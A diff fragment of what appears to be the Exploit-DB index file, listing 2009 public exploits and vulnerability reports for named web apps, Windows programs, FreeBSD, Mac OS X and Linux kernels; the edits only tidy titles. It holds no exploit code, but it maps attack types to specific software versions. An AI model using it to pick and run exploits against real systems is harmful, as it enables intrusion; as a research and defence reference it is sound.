+8043,platforms/php/webapps/8043.pl,"Bloggeruniverse 2.0 Beta - (editcomments.php id) SQL Injection Exploit",2009-02-11,Osirys,php,webapps,0
 8044,platforms/php/webapps/8044.txt,"Den Dating 9.01(searchmatch.php) SQL Injection Vulnerability",2009-02-11,nuclear,php,webapps,0
 8045,platforms/php/webapps/8045.pl,"InselPhoto 1.1 (query) Remote SQL Injection Exploit",2009-02-11,Osirys,php,webapps,0
 8046,platforms/php/webapps/8046.txt,"PHP Krazy Image Host Script 1.01 (viewer.php id) SQL Injection Vuln",2009-02-12,x0r,php,webapps,0
@@ -7584,7 +7584,7 @@ id,file,description,date,author,platform,type,port
 8055,platforms/freebsd/local/8055.txt,"FreeBSD 7.0-RELEASE Telnet Daemon Local Privilege Escalation Exploit",2009-02-16,Kingcope,freebsd,local,0
 8057,platforms/php/webapps/8057.txt,"InselPhoto 1.1 Persistent XSS Vulnerability",2009-02-16,rAWjAW,php,webapps,0
 8058,platforms/windows/dos/8058.pl,"TPTEST <= 3.1.7 Stack Buffer Overflow PoC",2009-02-16,ffwd,windows,dos,0
-8059,platforms/windows/remote/8059.html,"GeoVision LiveX_v8200 ActiveX (LIVEX_~1.OCX) File Corruption PoC",2009-02-16,Nine:Situations:Group,windows,remote,0
+8059,platforms/windows/remote/8059.html,"GeoVision LiveX 8200 - ActiveX (LIVEX_~1.OCX) File Corruption PoC",2009-02-16,Nine:Situations:Group,windows,remote,0
 8060,platforms/php/webapps/8060.php,"Falt4 CMS RC4 (fckeditor) Arbitrary File Upload Exploit",2009-02-16,Sp3shial,php,webapps,0
 8061,platforms/php/webapps/8061.pl,"simplePMS CMS <= 0.1.4 LFI / Remote Command Execution Exploit",2009-02-16,Osirys,php,webapps,0
 8062,platforms/php/webapps/8062.txt,"PowerMovieList 0.14b (SQL/XSS) Multiple Remote Vulnerabilities",2009-02-16,brain[pillow],php,webapps,0
@@ -7612,7 +7612,7 @@ id,file,description,date,author,platform,type,port
 8086,platforms/cgi/webapps/8086.txt,"i-dreams GB 5.4 Final (admin.dat) File Disclosure Vulnerability",2009-02-20,Pouya_Server,cgi,webapps,0
 8087,platforms/cgi/webapps/8087.txt,"i-dreams GB Server (admin.dat) File Disclosure Vulnerability",2009-02-20,Pouya_Server,cgi,webapps,0
 8088,platforms/php/webapps/8088.txt,"Osmodia Bulletin Board 1.x (admin.txt) File Disclosure Vulnerability",2009-02-20,Pouya_Server,php,webapps,0
-8089,platforms/php/webapps/8089.pl,"Graugon Forum v1 (id) SQL Command Injection Exploit",2009-02-20,Osirys,php,webapps,0
+8089,platforms/php/webapps/8089.pl,"Graugon Forum 1 - (id) SQL Command Injection Exploit",2009-02-20,Osirys,php,webapps,0
 8090,platforms/windows/dos/8090.txt,"Multiple PDF Readers JBIG2 Local Buffer Overflow PoC",2009-02-23,webDEViL,windows,dos,0
 8091,platforms/multiple/dos/8091.html,"Mozilla Firefox 3.0.6 (BODY onload) Remote Crash Exploit",2009-02-23,SkyLined,multiple,dos,0
 8092,platforms/php/webapps/8092.txt,"zFeeder 1.6 (admin.php) No Authentication Vulnerability",2009-02-23,ahmadbady,php,webapps,0
@@ -7628,7 +7628,7 @@ id,file,description,date,author,platform,type,port
 8102,platforms/windows/dos/8102.txt,"Counter Strike Source ManiAdminPlugin 1.x Remote Buffer Overflow PoC",2009-02-24,M4rt1n,windows,dos,0
 8104,platforms/php/webapps/8104.txt,"Qwerty CMS (id) Remote SQL Injection Vulnerability",2009-02-24,b3,php,webapps,0
 8105,platforms/php/webapps/8105.txt,"pPIM 1.0 Multiple Remote Vulnerabilities",2009-02-25,"Justin Keane",php,webapps,0
-8106,platforms/hardware/dos/8106.txt,"Netgear WGR614v9 Wireless Router Get Request Denial of Service Vuln",2009-02-25,staticrez,hardware,dos,0
+8106,platforms/hardware/dos/8106.txt,"Netgear WGR614v9 - Wireless Router Get Request Denial of Service Vuln",2009-02-25,staticrez,hardware,dos,0
 8107,platforms/asp/webapps/8107.txt,"PenPal 2.0 (Auth Bypass) Remote SQL Injection Vulnerability",2009-02-25,ByALBAYX,asp,webapps,0
 8108,platforms/osx/local/8108.c,"Apple MACOS X xnu <= 1228.x Local Kernel Memory Disclosure Exploit",2009-02-25,mu-b,osx,local,0
 8109,platforms/asp/webapps/8109.txt,"SkyPortal Classifieds System 0.12 Contents Change Vulnerability",2009-02-25,ByALBAYX,asp,webapps,0
@@ -7641,8 +7641,8 @@ id,file,description,date,author,platform,type,port
 8116,platforms/php/webapps/8116.txt,"BannerManager 0.81 (Auth Bypass) SQL Injection Vulnerability",2009-02-26,rootzig,php,webapps,0
 8117,platforms/windows/remote/8117.pl,"POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit (SEH)",2009-02-27,"Jeremy Brown",windows,remote,0
 8118,platforms/windows/remote/8118.html,"Orbit <= 2.8.4 Long Hostname Remote Buffer Overflow Exploit",2009-02-27,JavaGuru,windows,remote,0
-8120,platforms/asp/webapps/8120.txt,"SkyPortal Downloads Manager v1.1 Remote Contents Change Vuln",2009-02-27,ByALBAYX,asp,webapps,0
-8121,platforms/windows/local/8121.pl,"Hex Workshop v6 (.HEX File) Local Code Execution Exploit",2009-02-27,DATA_SNIPER,windows,local,0
+8120,platforms/asp/webapps/8120.txt,"SkyPortal Downloads Manager 1.1 - Remote Contents Change Vuln",2009-02-27,ByALBAYX,asp,webapps,0
+8121,platforms/windows/local/8121.pl,"Hex Workshop 6.0 - (.HEX File) Local Code Execution Exploit",2009-02-27,DATA_SNIPER,windows,local,0
 8123,platforms/php/webapps/8123.txt,"Irokez BLog 0.7.3.2 (XSS/RFI/BSQL) Multiple Remote Vulnerabilities",2009-02-27,Corwin,php,webapps,0
 8124,platforms/php/webapps/8124.txt,"Demium CMS 0.2.1B Multiple Vulnerabilities and Exploit",2009-02-27,Osirys,php,webapps,0
 8125,platforms/hardware/dos/8125.rb,"HTC Touch vCard over IP Denial of Service Exploit",2009-03-02,"Mobile Security Lab",hardware,dos,0
@@ -7650,7 +7650,7 @@ id,file,description,date,author,platform,type,port
 8127,platforms/php/webapps/8127.txt,"BlogMan 0.45 Multiple Remote Vulnerabilities",2009-03-02,"Salvatore Fresta",php,webapps,0
 8128,platforms/php/webapps/8128.txt,"EZ-Blog 1b Delete All Posts / SQL Injection Vulnerabilities",2009-03-02,"Salvatore Fresta",php,webapps,0
 8129,platforms/windows/dos/8129.pl,"Novell eDirectory iMonitor (Accept-Language) Request BOF PoC",2009-03-02,"Praveen Darshanam",windows,dos,0
-8130,platforms/asp/webapps/8130.txt,"Document Library 1.0.1 Arbitrary Change Admin  Vulnerability",2009-03-02,ByALBAYX,asp,webapps,0
+8130,platforms/asp/webapps/8130.txt,"Document Library 1.0.1 Arbitrary Change Admin Vulnerability",2009-03-02,ByALBAYX,asp,webapps,0
 8131,platforms/asp/webapps/8131.txt,"Digital Interchange Calendar 5.7.13 Contents Change Vulnerability",2009-03-02,ByALBAYX,asp,webapps,0
 8132,platforms/asp/webapps/8132.txt,"Access2asp imageLibrary Arbitrary ASP Shell Upload Vulnerability",2009-03-02,mr.al7rbi,asp,webapps,0
 8133,platforms/php/webapps/8133.txt,"Graugon PHP Article Publisher 1.0 (SQL/CH) Multiple Remote Vulns",2009-03-02,x0r,php,webapps,0
@@ -7667,7 +7667,7 @@ id,file,description,date,author,platform,type,port
 8144,platforms/windows/remote/8144.txt,"Imera ImeraIEPlugin ActiveX Control Remote Code	Execution Exploit",2009-03-03,Elazar,windows,remote,0
 8145,platforms/php/webapps/8145.txt,"ghostscripter Amazon Shop (XSS/DT/RFI) Multiple Vulnerabilities",2009-03-03,d3b4g,php,webapps,0
 8148,platforms/multiple/dos/8148.pl,"Yaws < 1.80 (multiple headers) Remote Denial of Service Exploit",2009-03-03,"Praveen Darshanam",multiple,dos,0
-8149,platforms/windows/remote/8149.txt,"EFS Easy Chat Server (XSRF) Change Admin Pass Vulnerability",2009-03-03,Stack,windows,remote,0
+8149,platforms/windows/remote/8149.txt,"EFS Easy Chat Server - (CSRF) Change Admin Pass Vulnerability",2009-03-03,Stack,windows,remote,0
 8150,platforms/php/webapps/8150.txt,"NovaBoard <= 1.0.1 (message) Persistent XSS Vulnerability",2009-03-03,Pepelux,php,webapps,0
 8151,platforms/php/webapps/8151.txt,"Jogjacamp JProfile Gold (id_news) Remote SQL Injection Vulnerability",2009-03-03,kecemplungkalen,php,webapps,0
 8152,platforms/windows/remote/8152.py,"MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (fast)",2009-03-04,"Ahmed Obied",windows,remote,0
@@ -7683,7 +7683,7 @@ id,file,description,date,author,platform,type,port
 8164,platforms/php/webapps/8164.php,"Joomla com_ijoomla_archive Blind SQL Injection Exploit",2009-03-05,Stack,php,webapps,0
 8165,platforms/php/webapps/8165.txt,"Blue Eye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability",2009-03-06,ka0x,php,webapps,0
 8166,platforms/php/webapps/8166.txt,"Wili-CMS 0.4.0 (RFI/LFI/AB) Multiple Remote Vulnerabilities",2009-03-06,"Salvatore Fresta",php,webapps,0
-8167,platforms/php/webapps/8167.txt,"isiAJAX v1 (praises.php id) Remote SQL Injection Vulnerability",2009-03-06,dun,php,webapps,0
+8167,platforms/php/webapps/8167.txt,"isiAJAX 1 - (praises.php id) Remote SQL Injection Vulnerability",2009-03-06,dun,php,webapps,0
 8168,platforms/php/webapps/8168.txt,"OneOrZero Helpdesk <= 1.6.5.7 Local File Inclusion Vulnerability",2009-03-06,dun,php,webapps,0
 8170,platforms/php/webapps/8170.txt,"nForum 1.5 Multiple Remote SQL Injection Vulnerabilities",2009-03-09,"Salvatore Fresta",php,webapps,0
 8171,platforms/windows/local/8171.py,"Nokia Multimedia Player 1.0 (playlist) Universal SEH Overwrite Exploit",2009-03-09,His0k4,windows,local,0
@@ -7691,7 +7691,7 @@ id,file,description,date,author,platform,type,port
 8173,platforms/windows/remote/8173.txt,"Belkin BullDog Plus UPS-Service Buffer Overflow Exploit",2009-03-09,Elazar,windows,remote,0
 8174,platforms/windows/local/8174.py,"Realtek Sound Manager 1.15.0.0 PlayList SEH Overwrite Exploit",2009-03-09,His0k4,windows,local,0
 8175,platforms/windows/local/8175.txt,"mks_vir 9b < 1.2.0.0b297 (mksmonen.sys) Privilege Escalation Exploit",2009-03-09,"NT Internals",windows,local,0
-8176,platforms/windows/local/8176.py,"EO Video v1.36 PlayList SEH Overwrite Exploit",2009-03-09,His0k4,windows,local,0
+8176,platforms/windows/local/8176.py,"EO Video 1.36 - PlayList SEH Overwrite Exploit",2009-03-09,His0k4,windows,local,0
 8177,platforms/windows/local/8177.py,"RadASM 2.2.1.5 (.RAP File) Local Stack Overflow Exploit",2009-03-09,zAx,windows,local,0
 8178,platforms/windows/local/8178.pl,"MediaCoder 0.6.2.4275 (m3u File) Universal Stack Overflow Exploit",2009-03-09,Stack,windows,local,0
 8179,platforms/windows/local/8179.rb,"MediaCoder 0.6.2.4275 Universal Buffer Overflow Exploit (SEH)",2009-03-09,Stack,windows,local,0
@@ -7752,8 +7752,8 @@ id,file,description,date,author,platform,type,port
 8240,platforms/php/webapps/8240.txt,"DeluxeBB <= 1.3 (qorder) Remote SQL Injection Vulnerability",2009-03-18,girex,php,webapps,0
 8241,platforms/multiple/dos/8241.txt,"ModSecurity < 2.5.9 Remote Denial of Service Vulnerability",2009-03-19,"Juan Galiana Lara",multiple,dos,0
 8242,platforms/windows/local/8242.rb,"Chasys Media Player 1.1 .cue File Stack Overflow Exploit",2009-03-19,Stack,windows,local,0
-8243,platforms/php/webapps/8243.txt,"Bloginator v1a (Cookie Bypass/SQL) Multiple Remote Vulnerabilities",2009-03-19,Fireshot,php,webapps,0
-8244,platforms/php/webapps/8244.txt,"Bloginator v1a SQL Command Injection via Cookie Bypass Exploit",2009-03-19,Fireshot,php,webapps,0
+8243,platforms/php/webapps/8243.txt,"Bloginator 1a - (Cookie Bypass/SQL) Multiple Remote Vulnerabilities",2009-03-19,Fireshot,php,webapps,0
+8244,platforms/php/webapps/8244.txt,"Bloginator 1a - SQL Command Injection via Cookie Bypass Exploit",2009-03-19,Fireshot,php,webapps,0
 8245,platforms/multiple/dos/8245.c,"SW-HTTPD Server 0.x Remote Denial of Service Exploit",2009-03-19,"Jonathan Salwan",multiple,dos,0
 8246,platforms/windows/local/8246.pl,"Chasys Media Player (.lst playlist) Local Buffer Overflow Exploit",2009-03-19,zAx,windows,local,0
 8247,platforms/cgi/webapps/8247.txt,"Hannon Hill Cascade Server Command Execution Vulnerability (post auth)",2009-03-19,"Emory University",cgi,webapps,0
@@ -7771,10 +7771,10 @@ id,file,description,date,author,platform,type,port
 8259,platforms/freebsd/dos/8259.c,"FreeBSD 7.x (Dumping Environment) Local Kernel Panic Exploit",2009-03-23,kokanin,freebsd,dos,0
 8260,platforms/hardware/dos/8260.txt,"Gigaset SE461 WiMAX router Remote Denial of Service Vulns",2009-03-23,Benkei,hardware,dos,0
 8261,platforms/freebsd/local/8261.c,"FreeBSD 7.0/7.1 (ktimer) Local Kernel Root Exploit",2009-03-23,mu-b,freebsd,local,0
-8262,platforms/osx/dos/8262.c,"Mac OS X  xnu <= 1228.3.13 (zip-notify) Remote Kernel Overflow PoC",2009-03-23,mu-b,osx,dos,0
+8262,platforms/osx/dos/8262.c,"Mac OS X xnu <= 1228.3.13 (zip-notify) Remote Kernel Overflow PoC",2009-03-23,mu-b,osx,dos,0
 8263,platforms/osx/dos/8263.c,"Mac OS X xnu <= 1228.3.13 (macfsstat) Local Kernel Memory Leak/DoS",2009-03-23,mu-b,osx,dos,0
 8264,platforms/osx/dos/8264.c,"Mac OS X xnu <= 1228.3.13 (profil) Kernel Memory Leak/DoS PoC",2009-03-23,mu-b,osx,dos,0
-8265,platforms/osx/dos/8265.c,"Mac OS X xnu <=1228.x (vfssysctl) Local Kernel DoS PoC",2009-03-23,mu-b,osx,dos,0
+8265,platforms/osx/dos/8265.c,"Mac OS X xnu <= 1228.x - (vfssysctl) Local Kernel DoS PoC",2009-03-23,mu-b,osx,dos,0
 8266,platforms/osx/local/8266.txt,"Mac OS X xnu <= 1228.x (hfs-fcntl) Local Kernel Root Exploit",2009-03-23,mu-b,osx,local,0
 8267,platforms/windows/local/8267.py,"Zinf Audio Player 2.2.1 (.pls) Universal Seh Overwrite Exploit",2009-03-23,His0k4,windows,local,0
 8268,platforms/php/webapps/8268.php,"PHPizabi v0.848b C1 HFP1-3 Remote Command Execution Exploit",2009-03-23,YOUCODE,php,webapps,0
@@ -7782,7 +7782,7 @@ id,file,description,date,author,platform,type,port
 8270,platforms/windows/local/8270.pl,"eXeScope 6.50 Local Buffer Overflow Exploit",2009-03-23,Koshi,windows,local,0
 8271,platforms/php/webapps/8271.php,"Pluck CMS 4.6.1 (module_pages_site.php post) LFI Exploit",2009-03-23,"Alfons Luja",php,webapps,0
 8272,platforms/php/webapps/8272.pl,"Codice CMS 2 Remote SQL Command Execution Exploit",2009-03-23,darkjoker,php,webapps,0
-8273,platforms/windows/remote/8273.c,"Telnet-Ftp Service Server v1.x Multiple Vulnerabilities (post auth)",2009-03-23,"Jonathan Salwan",windows,remote,0
+8273,platforms/windows/remote/8273.c,"Telnet-Ftp Service Server 1.x - Multiple Vulnerabilities (Post Auth)",2009-03-23,"Jonathan Salwan",windows,remote,0
 8274,platforms/windows/local/8274.pl,"POP Peeper 3.4.0.0 .eml file Universal SEH Overwrite Exploit",2009-03-23,Stack,windows,local,0
 8275,platforms/windows/local/8275.pl,"POP Peeper 3.4.0.0 .html file Universal SEH Overwrite Exploit",2009-03-23,Stack,windows,local,0
 8276,platforms/php/webapps/8276.pl,"Syzygy CMS 0.3 LFI/SQL Command Injection Exploit",2009-03-23,Osirys,php,webapps,0
@@ -7820,7 +7820,7 @@ id,file,description,date,author,platform,type,port
 8309,platforms/php/webapps/8309.txt,"BandSite CMS 1.1.4 (members.php memid) SQL Injection Vulnerability",2009-03-30,SirGod,php,webapps,0
 8310,platforms/windows/dos/8310.pl,"Sami HTTP Server 2.x (HEAD) Remote Denial of Service Exploit",2009-03-30,"Jonathan Salwan",windows,dos,0
 8311,platforms/windows/local/8311.py,"Abee Chm eBook Creator 2.11 (FileName) Local Stack Overflow Exploit",2009-03-30,Encrypt3d.M!nd,windows,local,0
-8312,platforms/windows/local/8312.py,"AtomixMP3 <= 2.3 (playlist) Universal SEH Overwrite Exploit",2009-03-30,His0k4,windows,local,0
+8312,platforms/windows/local/8312.py,"AtomixMP3 <= 2.3 - (playlist) Universal SEH Overwrite Exploit",2009-03-30,His0k4,windows,local,0
 8313,platforms/hardware/dos/8313.txt,"Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow",2009-03-30,"Bugs NotHugs",hardware,dos,0
 8314,platforms/windows/dos/8314.php,"Amaya 11.1 W3C Editor/Browser (defer) Stack Overflow PoC",2009-03-30,"Alfons Luja",windows,dos,0
 8315,platforms/php/webapps/8315.txt,"Gravy Media CMS 1.07 Multiple Remote Vulnerabilities",2009-03-30,x0r,php,webapps,0
@@ -7852,8 +7852,8 @@ id,file,description,date,author,platform,type,port
 8341,platforms/php/webapps/8341.txt,"MyioSoft Ajax Portal 3.0 (page) SQL Injection Vulnerability",2009-04-01,cOndemned,php,webapps,0
 8342,platforms/php/webapps/8342.txt,"TinyPHPForum 3.61 File Disclosure / Code Execution Vulnerabilities",2009-04-01,brain[pillow],php,webapps,0
 8343,platforms/windows/local/8343.pl,"UltraISO <= 9.3.3.2685 CCD/IMG Universal Buffer Overflow Exploit",2009-04-03,SkD,windows,local,0
-8344,platforms/multiple/dos/8344.py,"IBM DB2 < 9.5 pack 3a Malicious Connect Denial of Service Exploit",2009-04-03,"Dennis Yurichev",multiple,dos,0
-8345,platforms/multiple/dos/8345.py,"IBM DB2 < 9.5 pack 3a Malicious Data Stream Denial of Service Exploit",2009-04-03,"Dennis Yurichev",multiple,dos,0
+8344,platforms/multiple/dos/8344.py,"IBM DB2 < 9.5 pack 3a - Connect Denial of Service Exploit",2009-04-03,"Dennis Yurichev",multiple,dos,0
+8345,platforms/multiple/dos/8345.py,"IBM DB2 < 9.5 pack 3a - Data Stream Denial of Service Exploit",2009-04-03,"Dennis Yurichev",multiple,dos,0
 8346,platforms/php/webapps/8346.txt,"ActiveKB Knowledgebase (loadpanel.php Panel) Local File Inclusion Vuln",2009-04-03,"Angela Chang",php,webapps,0
 8347,platforms/php/webapps/8347.php,"glFusion <= 1.1.2 COM_applyFilter()/cookies Blind SQL Injection Exploit",2009-04-03,Nine:Situations:Group,php,webapps,0
 8348,platforms/php/webapps/8348.txt,"form2list (page.php id) Remote SQL Injection Vulnerability",2009-04-03,Cyber-Zone,php,webapps,0
@@ -7884,7 +7884,7 @@ id,file,description,date,author,platform,type,port
 8373,platforms/php/webapps/8373.txt,"Xplode CMS (wrap_script) Remote SQL Injection Vulnerability",2009-04-08,Platen,php,webapps,0
 8374,platforms/php/webapps/8374.txt,"WebFileExplorer 3.1 (DB.MDB) Database Disclosure Vulnerability",2009-04-08,ByALBAYX,php,webapps,0
 8376,platforms/php/webapps/8376.php,"Geeklog <= 1.5.2 SEC_authenticate() SQL Injection Exploit",2009-04-09,Nine:Situations:Group,php,webapps,0
-8377,platforms/asp/webapps/8377.pl,"Exjune Guestbook v2 Remote Database Disclosure Exploit",2009-04-09,AlpHaNiX,asp,webapps,0
+8377,platforms/asp/webapps/8377.pl,"Exjune Guestbook 2.0 - Remote Database Disclosure Exploit",2009-04-09,AlpHaNiX,asp,webapps,0
 8378,platforms/windows/dos/8378.pl,"SWF Opener 1.3 (.swf File) Off By One Buffer Overflow PoC",2009-04-09,Stack,windows,dos,0
 8379,platforms/asp/webapps/8379.txt,"BackendCMS 5.0 (main.asp id) SQL Injection Vulnerability",2009-04-09,AnGeL25dZ,asp,webapps,0
 8380,platforms/php/webapps/8380.txt,"Simbas CMS 2.0 (Auth Bypass) SQL Injection Vulnerability",2009-04-09,"ThE g0bL!N",php,webapps,0
@@ -7949,7 +7949,7 @@ id,file,description,date,author,platform,type,port
 8441,platforms/php/webapps/8441.txt,"phpDatingClub (conf.inc) File Disclosure Vulnerability",2009-04-15,InjEctOr5,php,webapps,0
 8442,platforms/php/webapps/8442.txt,"Job2C (conf.inc) Config File Disclosure Vulnerability",2009-04-15,InjEctOr5,php,webapps,0
 8443,platforms/php/webapps/8443.txt,"Job2C 4.2 (adtype) Local File Inclusion Vulnerability",2009-04-15,ZoRLu,php,webapps,0
-8444,platforms/windows/local/8444.cpp,"Star Downloader Free <= 1.45  (.dat) Universal SEH Overwrite Exploit",2009-04-15,dun,windows,local,0
+8444,platforms/windows/local/8444.cpp,"Star Downloader Free <= 1.45 (.dat) Universal SEH Overwrite Exploit",2009-04-15,dun,windows,local,0
 8445,platforms/windows/dos/8445.pl,"MS Windows Media Player (.mid File) Integer Overflow PoC",2009-04-15,HuoFu,windows,dos,0
 8446,platforms/php/webapps/8446.txt,"FreeWebshop.org 2.2.9 RC2 (lang_file) Local File Inclusion Vulnerability",2009-04-15,ahmadbady,php,webapps,0
 8447,platforms/windows/dos/8447.txt,"Zervit Webserver 0.02 Remote Buffer Overflow PoC",2009-04-15,e.wiZz!,windows,dos,0
@@ -7982,7 +7982,7 @@ id,file,description,date,author,platform,type,port
 8474,platforms/php/webapps/8474.txt,"e-cart.biz Shopping Cart Arbitrary File Upload Vulnerability",2009-04-17,ahmadbady,php,webapps,0
 8475,platforms/php/webapps/8475.txt,"Online Guestbook Pro (display) Blind SQL Injection Vulnerability",2009-04-17,"Hussin X",php,webapps,0
 8476,platforms/php/webapps/8476.txt,"Online Email Manager Insecure Cookie Handling Vulnerability",2009-04-17,"Hussin X",php,webapps,0
-8477,platforms/php/webapps/8477.txt,"Hot Project v7 (Auth Bypass) SQL Injection Vulnerability",2009-04-17,HCOCA_MAN,php,webapps,0
+8477,platforms/php/webapps/8477.txt,"Hot Project 7.0 - (Auth Bypass) SQL Injection Vulnerability",2009-04-17,HCOCA_MAN,php,webapps,0
 8478,platforms/linux/local/8478.sh,"Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit",2009-04-20,Kingcope,linux,local,0
 8479,platforms/windows/dos/8479.html,"MS Internet Explorer EMBED Memory Corruption PoC (MS09-014)",2009-04-20,SkyLined,windows,dos,0
 8480,platforms/php/webapps/8480.txt,"Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities",2009-04-20,"Salvatore Fresta",php,webapps,0
@@ -8000,7 +8000,7 @@ id,file,description,date,author,platform,type,port
 8492,platforms/php/webapps/8492.txt,"WB News 2.1.2 Insecure Cookie Handling Vulnerability",2009-04-20,"ThE g0bL!N",php,webapps,0
 8493,platforms/php/webapps/8493.txt,"FunGamez rc1 (AB/LFI) Multiple Remote Vulnerabilities",2009-04-20,YEnH4ckEr,php,webapps,0
 8494,platforms/php/webapps/8494.txt,"TotalCalendar 2.4 (inc_dir) Remote File Inclusion Vulnerability",2009-04-20,DarKdewiL,php,webapps,0
-8495,platforms/php/webapps/8495.pl,"e107 <= 0.7.15 (extended_user_fields) Blind SQL Injection Exploit",2009-04-20,StAkeR,php,webapps,0
+8495,platforms/php/webapps/8495.pl,"e107 <= 0.7.15 - (extended_user_fields) Blind SQL Injection Exploit",2009-04-20,StAkeR,php,webapps,0
 8496,platforms/php/webapps/8496.htm,"TotalCalendar 2.4 Remote Password Change Exploit",2009-04-20,"ThE g0bL!N",php,webapps,0
 8497,platforms/php/webapps/8497.txt,"Creasito e-Commerce 1.3.16 (Auth Bypass) SQL Injection Vuln",2009-04-20,"Salvatore Fresta",php,webapps,0
 8498,platforms/php/webapps/8498.txt,"eLitius 1.0 Arbitrary Database Backup Exploit",2009-04-20,"ThE g0bL!N",php,webapps,0
@@ -8013,11 +8013,11 @@ id,file,description,date,author,platform,type,port
 8505,platforms/php/webapps/8505.txt,"Quick.Cms.Lite 0.5 (id) Remote SQL Injection Vulnerability",2009-04-21,Player,php,webapps,0
 8506,platforms/php/webapps/8506.txt,"VS PANEL 7.3.6 (Cat_ID) Remote SQL Injection Vulnerability",2009-04-21,Player,php,webapps,0
 8507,platforms/windows/dos/8507.py,"Oracle RDBMS 10.2.0.3/11.1.0.6 TNS Listener PoC (CVE-2009-0991)",2009-04-21,"Dennis Yurichev",windows,dos,0
-8508,platforms/php/webapps/8508.txt,"I-Rater Pro/Plantinum v4 (Auth Bypass) SQL Injection Vulnerability",2009-04-21,Hakxer,php,webapps,0
+8508,platforms/php/webapps/8508.txt,"I-Rater Pro/Plantinum 4.0 - (Auth Bypass) SQL Injection Vulnerability",2009-04-21,Hakxer,php,webapps,0
 8509,platforms/php/webapps/8509.txt,"Studio Lounge Address Book 2.5 Authentication Bypass Vulnerability",2009-04-21,"ThE g0bL!N",php,webapps,0
 8510,platforms/php/webapps/8510.txt,"MixedCMS 1.0b (LFI/SU/AB/FD) Multiple Remote Vulnerabilities",2009-04-21,YEnH4ckEr,php,webapps,0
 8511,platforms/windows/dos/8511.pl,"Xitami Web Server <= 5.0 Remote Denial of Service Exploit",2009-04-22,"Jonathan Salwan",windows,dos,0
-8512,platforms/windows/dos/8512.txt,"Counter Strike Source ManiAdminPlugin v2 Remote Crash Exploit",2009-04-22,M4rt1n,windows,dos,0
+8512,platforms/windows/dos/8512.txt,"Counter Strike Source ManiAdminPlugin 2.0 - Remote Crash Exploit",2009-04-22,M4rt1n,windows,dos,0
 8513,platforms/php/webapps/8513.pl,"Dokeos LMS <= 1.8.5 (include) Remote Code Execution Exploit",2009-04-22,StAkeR,php,webapps,0
 8514,platforms/php/webapps/8514.txt,"elkagroup Image Gallery 1.0 Arbitrary File Upload Vulnerability",2009-04-22,Securitylab.ir,php,webapps,0
 8515,platforms/php/webapps/8515.txt,"5 star Rating 1.2 (Auth Bypass) SQL Injection Vulnerability",2009-04-22,zer0day,php,webapps,0
@@ -8036,8 +8036,8 @@ id,file,description,date,author,platform,type,port
 8528,platforms/asp/webapps/8528.txt,"Absolute Form Processor XE-V 1.5 (auth Bypass) SQL Injection Vuln",2009-04-24,"ThE g0bL!N",asp,webapps,0
 8529,platforms/asp/webapps/8529.txt,"Absolute Form Processor XE-V 1.5 Insecure Cookie Handling Vuln",2009-04-24,ZoRLu,asp,webapps,0
 8530,platforms/asp/webapps/8530.htm,"Absolute Form Processor XE-V 1.5 Remote Change Pasword Exploit",2009-04-24,"ThE g0bL!N",asp,webapps,0
-8531,platforms/windows/dos/8531.pl,"SDP Downloader v2.3.0 (.ASX File) Local Heap Overflow PoC",2009-04-24,Cyber-Zone,windows,dos,0
-8532,platforms/php/webapps/8532.txt,"Photo-Rigma.BiZ v30 (SQL/XSS) Multiple Remote Vulnerabilities",2009-04-24,YEnH4ckEr,php,webapps,0
+8531,platforms/windows/dos/8531.pl,"SDP Downloader 2.3.0 - (.ASX File) Local Heap Overflow PoC",2009-04-24,Cyber-Zone,windows,dos,0
+8532,platforms/php/webapps/8532.txt,"Photo-Rigma.BiZ 30 - (SQL/XSS) Multiple Remote Vulnerabilities",2009-04-24,YEnH4ckEr,php,webapps,0
 8533,platforms/php/webapps/8533.txt,"Pragyan CMS 2.6.4 Multiple SQL Injection Vulnerabilities",2009-04-24,"Salvatore Fresta",php,webapps,0
 8534,platforms/linux/local/8534.c,"libvirt_proxy <= 0.5.1 Local Privilege Escalation Exploit",2009-04-27,"Jon Oberheide",linux,local,0
 8535,platforms/windows/local/8535.pl,"Destiny Media Player 1.61 (.rdl) Local Buffer Overflow Exploit",2009-04-27,G4N0K,windows,local,0
@@ -8051,7 +8051,7 @@ id,file,description,date,author,platform,type,port
 8543,platforms/php/webapps/8543.php,"LightBlog <= 9.9.2 (register.php) Remote Code Execution Exploit",2009-04-27,EgiX,php,webapps,0
 8544,platforms/linux/dos/8544.pl,"iodined <= 0.4.2-2 (forged DNS packet) Denial of Service Exploit",2009-04-27,"Albert Sellares",linux,dos,0
 8545,platforms/php/webapps/8545.txt,"DEW-NEWphpLinks 2.0 (LFI/XSS) Multiple Remote Vulnerabilities",2009-04-27,d3v1l,php,webapps,0
-8546,platforms/php/webapps/8546.txt,"Thickbox Gallery v2 (index.php ln) Local File Inclusion Vulnerability",2009-04-27,SirGod,php,webapps,0
+8546,platforms/php/webapps/8546.txt,"Thickbox Gallery 2 - (index.php ln) Local File Inclusion Vulnerability",2009-04-27,SirGod,php,webapps,0
 8547,platforms/php/webapps/8547.txt,"EZ-Blog Beta2 (category) Remote SQL Injection Vulnerability",2009-04-27,YEnH4ckEr,php,webapps,0
 8548,platforms/php/webapps/8548.txt,"ECShop 2.5.0 (order_sn) Remote SQL Injection Vulnerability",2009-04-27,Securitylab.ir,php,webapps,0
 8549,platforms/php/webapps/8549.txt,"Flatchat 3.0 (pmscript.php with) Local File Inclusion Vulnerability",2009-04-27,SirGod,php,webapps,0
@@ -8079,7 +8079,7 @@ id,file,description,date,author,platform,type,port
 8571,platforms/php/webapps/8571.txt,"Tiger DMS (Auth Bypass) Remote SQL Injection Vulnerability",2009-04-29,"ThE g0bL!N",php,webapps,0
 8572,platforms/linux/local/8572.c,"Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit",2009-04-30,"Jon Oberheide",linux,local,0
 8573,platforms/windows/dos/8573.html,"Google Chrome 1.0.154.53 (Null Pointer) Remote Crash Exploit",2009-04-30,"Aditya K Sood",windows,dos,0
-8576,platforms/php/webapps/8576.pl,"Leap CMS 0.1.4 (searchterm)  Blind SQL Injection Exploit",2009-04-30,YEnH4ckEr,php,webapps,0
+8576,platforms/php/webapps/8576.pl,"Leap CMS 0.1.4 (searchterm) Blind SQL Injection Exploit",2009-04-30,YEnH4ckEr,php,webapps,0
